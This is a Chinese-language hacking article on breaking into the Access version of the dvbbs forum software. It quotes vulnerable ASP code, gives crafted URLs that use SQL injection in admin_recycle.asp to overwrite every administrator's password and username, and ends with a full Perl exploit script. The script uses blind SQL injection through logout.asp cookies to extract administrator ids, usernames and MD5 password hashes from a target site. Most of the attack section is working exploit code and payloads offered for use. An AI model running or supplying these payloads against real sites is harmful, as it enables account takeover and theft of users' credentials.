上一篇：编写高质量的VB代码 >>

dvbbs绝对背后的微笑

作者：pskey <pskey@hotmail.com>
    站点：http://www.isgrey.com
小组主页：http://c4st.51.net
小组论坛：http://analysist.tocare.net

>>>dedicated this scrap to caojing & guting<<<

envymask的睿智帮我解决了很多问题，尽管是兄弟，我还是要说谢谢。

很吃惊地看到了dvbbs发布的安全补丁，原来有人提醒了作者程序所存在的一类漏洞。可以看出，作者对dvbbs做了全面检测，并且在消除那一类漏洞的同时，也顺带消除了其他几个安全隐患。看到自己曾耗费数小时换来的“劳动成果”被作者解决，心中有点不快。

有人、文章错误地认为：动网即使存在漏洞，也只能真正威胁mssql版；而access版的用户敏感信息md5加密和后台管理的session+cookie验证则让大家认为它牢不可破：“顶多让你得到md5加密后的密码，你还能做什么呢？”、“我们只有暴力破解”、“动网已经是非常安全的程序了”...在一个失落的清晨，我偶然发现了这位亲爱的朋友，她静静地站在绝对的背后，微笑...

因此，本文展示如何攻破“所谓安全”的access版dvbbs；由于mssql版的漏洞利用简单乏味，拒绝介绍。另外，请相关朋友速打补丁。

攻击分两步，首先得到管理员md5加密的敏感信息，接着在此基础上更改后台管理员密码。

一：得到任意用户md5加密的敏感信息
可以利用 logout.asp、messanger.asp、myfile.asp...等一大批文件所存在的sql injection漏洞达到目的。这些漏洞文件中logout.asp让我稍感新意，选它来说明问题：
logout.asp:
/--------------------------------------------------------------------------




<%
    dim activeuser
    membername=request.cookies("aspsky")("username")
    if session("userid")<>"" then
    activeuser="delete from online where id="&session("userid")
    conn.execute activeuser
    end if
    if membername<>"" then
    activeuser="delete from online where username="&membername&""
    conn.execute activeuser
    end if
    response.cookies("aspsky").path=cookiepath
    response.cookies("aspsky")("username")=""
    response.cookies("aspsky")("password")=""
    response.cookies("aspsky")("userclass")=""
    response.cookies("aspsky")("userid")=""
    response.cookies("aspsky")("userhidden")=""
    response.cookies("aspsky")("usercookies")=""
    session("userid")=""
    conn.close
    set conn=nothing
    response.redirect("index.asp")
%>
/--------------------------------------------------------------------------
问题语句：    activeuser="delete from online where username="&membername&""
很多人会问：这也能利用？
能！
步骤：
1：注册一用户并登陆；
2：在cookie中构造membername请求logout.asp，以图程序所执行的sql查询语句中包含我们利用逻辑关系添加的子语句；
3：构造参数请求主页面，如返回页面包含用户注册名，重复第 2 步；
4：得到敏感信息。

测试程序附后。

二：闯入后台管理
我们已经得到管理员md5加密的敏感信息，现在可以利用cookie欺骗可以在前台执行管理员操作。如果你依然坚持暴力破解，并认为这很有趣，你可以停止阅读本文了。

鄙视暴力破解。不是说不现实，而是说这很乏味。

admin_recycle.asp
/--------------------------------------------------------------------------
...
topicid=request("topicid")
if request("action")<>"清空回收站" then
    if topicid="" or isnull(topicid) then
        errmsg=errmsg+"<li>"+"请选择相关帖子后进行操作。"
        founderr=true
    end if
end if
if request("tablename")="topic" then
    tablename="topic"
elseif instr(request("tablename"),"bbs")>0 then
    tablename=request("tablename")
else
    errmsg=errmsg+"<li>"+"错误的系统参数！"
    founderr=true
end if
if not master then
    errmsg=errmsg+"<li>"+"您不是系统管理员或者您还没有登陆。"
    founderr=true
end if
...
还原回收站内容
sub redel()
dim tempnum,todaynum
if instr(tablename,"bbs")>0 then
    sql="update "&tablename&" set locktopic=0 where announceid in ("&topicid&")"
    conn.execute(sql)
...
/--------------------------------------------------------------------------
问题：
1：未采用session认证
2：topicid没有过滤
3：仅要求tablename包含bbs而不采取其他任何过滤（目前依然未修正）

tablename和topicid前后呼应，真是天合之作。提交

http://www.psych.com/d6/admin_recycle.asp?action=还原&topicid=%20where%20id%20in%20(9&tablename=admin%20set%20[password]=ef7813118e77b0ee,lastloginip=bbs

实际执行的是

update admin set [password]=ef7813118e77b0ee, lastloginip=bbs set locktopic=0 where announceid in ( where id in (9)

这样，id为 9 的后台管理员的密码就被修改为 ilikecat (ef7813118e77b0ee)。

提交如上url后，页面会返回出错提示。这是因为后面的sql语句有语法错误，别管它，我们要求执行的语句已经在它之前“正确”执行了。

注意：前台管理员和后台管理员是一一对应的，弄错了不能正确登陆后台。为了省事，你可以：

http://www.psych.com/d6/admin_recycle.asp?action=还原&topicid=%20where%20(1=1&tablename=admin%20set%20[password]=ef7813118e77b0ee,lastloginip=bbs

所有后台管理员密码修改为 ilikecat (ef7813118e77b0ee)

http://www.psych.com/d6/admin_recycle.asp?action=还原&topicid=%20where%20(1=1&tablename=admin%20set%20username=catlikeme,lastloginip=bbs

所有后台管理员用户名修改为 catlikeme

当然，最好不要无聊到把所有注册用户的帐号和密码全修改了。

ok，本地cookie做些处理后，劳请使用 catlikeme/ilikecat 登陆后台进行“管理”。

/--------------------[获取任意用户md5加密信息的测试程序：

#!/usr/bin/perl
#codz by pskey<pskey@hotmail.com>
#exploit of dvbbss logout.asp

#--------------------------------------------------------------------------
#  本脚本针对动网论坛logout.asp文件缺陷而写，可以推算出所有用户
#  md5加密密码；另外可以自动破解后台管理员id、username、password
#  脚本参照最新版本编写，若低版本出现不能用的情况，请自行修改程序
#  脚本利用方法：
#  1：在目标论坛以 ilikecat/catlikeme 注册一用户，并得到此用户的 userid
#  2：再另注册一任意用户(此步不可少)
#  3：运行脚本，按帮助输入命令参数
#  如果是mssql版，请把这段糟糕的脚本扔到一边
#--------------------------------------------------------------------------

$|=1;
use socket;
use getopt::std;
getopt(hpwium);

print "\n             ===================================================\n";
print "                       exploit of dvbbss logout.asp\n";
print "                     codz by pskey<pskey\@hotmail.com>     \n";
print "                       www.isgrey.com && c4st.51.net              \n";
print "                       thanx envymask<130\@21cn.com>            \n";
print "             ===================================================\n";

&usage unless ( defined($opt_h) && defined($opt_w) && defined($opt_i) && defined($opt_m));

$host=$opt_h;
$port=$opt_p||80;
$path=$opt_w;
$userid=$opt_i;
$user=$opt_u;
$mode=$opt_m;

if ($opt_m eq "p") {
&usage unless defined($opt_u);
print "\nplease wait...\n\n";
for ($j=1;$j<=16;$j++) {
@dic1=(0..9);
@dic2=(a..f);
@dic=(@dic1,@dic2);
&first;
for ($i=0;$i<@dic;$i++) {
print "$dic[$i]";
$key=$pws.$dic[$i];
$target = "ilikecat%20and%20exists%20(select%20userid%20from%20[user]%20where%20username=$user%20and%20left(userpassword,$j)=$key)%20and%201=1";
&second;
if ("@in" !~ /ilikecat/)  {
    $th=$j.th;
    print "\n\/\/------------the $th word of the password is $dic[$i]";
    $pws=$pws.$dic[$i];
    last;
}
}
}
print "\n\nsuccessful,the full password of $user is $pws.\n";
}

elsif ($opt_m eq "b") {

#crack id
print "\n\#\#\#\#\#\#\#\#\#\#\#start cracking admins id...";
&first;
for ($i=0;$i<=50;$i++) {
$target = "ilikecat%20and%20exists%20(select%20id%20from%20[admin]%20where%20id=$i)%20and%201=1";
&second;
if ("@in" !~ /ilikecat/)  {
    print "\n--------->>there is one admins id $i";
    push (@id,$i);
    &first;
}
}
print "\n\#\#\#\#\#\#\#\#\#\#\#end cracking admins id...\n";
sleep(2);

#crack the length of admins username
print "\n\#\#\#\#\#\#\#\#\#\#\#start cracking the length of admins username...\n";
for ($j=0;$j<@id;$j++) {
print "  \|\-\>cracking usernames length which id is $id[$j] ...";
&first;
for ($i=0;$i<=50;$i++) {
$target = "ilikecat%20and%20exists%20(select%20id%20from%20[admin]%20where%20len(username)=$i%20and%20id=$id[$j])%20and%201=1";
&second;
if ("@in" !~ /ilikecat/)  {
    print "\n--------->>the length of $id[$j] is $i";
    push (@len,$i);
    &first;
    last;
}
}
}
print "\n\#\#\#\#\#\#\#\#\#\#\#end cracking the length of admins username...\n";
sleep(2);

#crack admins username
print "\n\#\#\#\#\#\#\#\#\#\#\#start crackadmins username...\n";
@dic1=(0..9);
@dic2=(a..z);
@dic=(@dic1,@dic2);
for ($j=0;$j<@id;$j++) {
$pws="";
print "  \|\-\>cracking username which id is $id[$j] ...";
  outer: for ($k=1;$k<=$len[$j];$k++) {
  &first;
  username: for ($i=0;$i<@dic;$i++) {
  print "$dic[$i].";
  $key=$pws.$dic[$i];
  $target = "ilikecat%20and%20exists%20(select%20id%20from%20[admin]%20where%20id=$id[$j]%20and%20left(username,$k)=$key)%20and%201=1";
  &second;
  if ("@in" !~ /ilikecat/)  {
    $th=$k.th;
    print "\n--------->>the $th word of $id[$j] username is $dic[$i]";
    $pws=$pws.$dic[$i];
    last username;
        }
  if ($dic[$i] eq "z") {
    print "\ni cant crack this admins name,maybe it is chinese.\n";
    push (@user,"\?");
    last outer;
        }
      }
    }
  push (@user,$pws);
  print "\n========>>the username is $pws which id is $id[$j]\n";
}
print "\n\#\#\#\#\#\#\#\#\#\#\#end crackadmins username...\n";
sleep(2);

#crack admins password
print "\n\#\#\#\#\#\#\#\#\#\#\#start crackadmins password...\n";
@dic1=(0..9);
@dic2=(a..f);
@dic=(@dic1,@dic2);
for ($j=0;$j<@id;$j++) {
$pws="";
print "  \|\-\>cracking password which id is $id[$j] ...";
  for ($k=1;$k<=16;$k++) {
  &first;
  password: for ($i=0;$i<@dic;$i++) {
  print "$dic[$i].";
  $key=$pws.$dic[$i];
  $target = "ilikecat%20and%20exists%20(select%20id%20from%20[admin]%20where%20id=$id[$j]%20and%20left(password,$k)=$key)%20and%201=1";
  &second;
  if ("@in" !~ /ilikecat/)  {
    $th=$k.th;
    print "\n--------->>the $th word of $id[$j] password is $dic[$i]";
    $pws=$pws.$dic[$i];
    last password;
        }
      }
    }
  push (@pass,$pws);
  print "\n\n========>>the password is $pws which id is $id[$j]\n\n";
}
print "\#\#\#\#\#\#\#\#\#\#\#end crackadmins password...\n\n";
print "we got them now:\n";
printf("%-4s %-20s %-16s\n",id,username,password);
for ($i=0;$i<@id;$i++) {
printf("%-4d %-20s %-16s\n",$id[$i],$user[$i],$pass[$i]);
}
}

else {
&usage;
}

sub first {
$str="username=ilikecat&password=catlikeme&cookiedate=1";
$len=length($str);
$req = "get $path/login.asp?action=chk&username=ilikecat&password=catlikeme http/1.1\n".
       "referer: http://$host$path/login.asp\n".
       "host: $host\n".
       "content-length: $len\n".
       "cookie: aspsky=usercookies=&userid=&userclass=&username=&userhidden=&password=; iscookies=0; boardlist=boardid=show;upnum=0\n".
       "\n".
       "$str\n\n";
print "\n.";
sendraw($req);
$req0 = "get $path/index.asp http/1.0\n".
        "referer: http://$host$path/index.asp\n".
        "host: $host\n".
        "cookie: aspsky=userid=$userid&usercookies=0&userhidden=2&password=aac9ac496fa5ea8e&userclass=%d0%c2%ca%d6%c9%cf%c2%b7&username=ilikecat; iscookies=0; boardlist=boardid=show; upnum=0\n\n";
print ".\n";
sendraw($req0);
}

sub second {
$req1 = "get $path/logout.asp http/1.0\n".
        "host: $host\n".
        "cookie: aspsky=userid=$userid&usercookies=1&userhidden=2&username=$target; iscookies=0; boardlist=boardid=show; \n\n";
print ".";
@res = sendraw($req1);
$req2 = "get $path/index.asp?action=show http/1.0\n".
        "referer: http://$host$path/index.asp?action=show \n".
        "host: $host\n".
        "cookie: aspsky=usercookies=&userid=&userclass=&username=&userhidden=&password=; iscookies=0; boardlist=boardid=show; upnum=0\n\n";
print ".";
@in = sendraw($req2);
}

sub usage {
print qq~
usage: $0 -h <host> [-p <port>] -w <path> -i <userid> -m <mode> [-u <user>]
    -h   =hostname you want to attack
    -p   =port,80 default
    -w   =the web path such as "/dvbbs"
    -i   =the userid of ilikecat
    -m   =only two choice,b<background> and p<proscenium>(this option need -u)
    -u   =the user you want to crack
eg: 1.crack proscenium
     $0 -h www.target.com -p 80 -w /dvbbs -i 2 -m p -u admin
    2.crack background
     $0 -h www.target.com -p 80 -w /dvbbs -i 2 -m b
~;
exit;
}

sub sendraw {
    my ($req) = @_;
    my $target;
    $target = inet_aton($host) || die("inet_aton problems\n");
    socket(s,pf_inet,sock_stream,getprotobyname(tcp)||0) || die("socket problems\n");
    if(connect(s,pack "sna4x8",2,$port,$target)){
        select(s);
    $| = 1;
        print $req;
    my @res = <s>;
        select(stdout);
    close(s);
        return @res;
    }
    else {
    die("cant connect...\n");
    }
}

（）

返回顶部

下一篇：5.PHP的其他功能 >>